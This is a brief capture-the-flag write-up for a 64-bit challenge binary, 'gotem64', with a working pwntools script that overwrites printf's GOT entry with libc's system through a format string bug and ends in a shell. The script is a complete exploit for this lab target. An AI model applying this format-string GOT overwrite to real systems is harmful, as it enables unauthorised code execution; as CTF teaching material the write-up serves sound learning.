gotem64

This is the same binary as *gotem*, except this time, we're in 64-bit. This makes almost no change in the exploitother than changing the base address of `libc` and the offset of the format string.

Below is a functional exploit. Try to rebuild it on your own to understand how to collect the format string offset and the `libc` base address.

```
from pwn import *

elf = context.binary = ELF('./gotem64')
libc = elf.libc
libc.address = 0x00007ffff7c00000
p = process()

payload = fmtstr_payload(6, {elf.got.printf : libc.sym.system})

p.recvline()
p.sendline(payload)
p.interactive()
```

Running this exploit gets us a shell and hence our flag!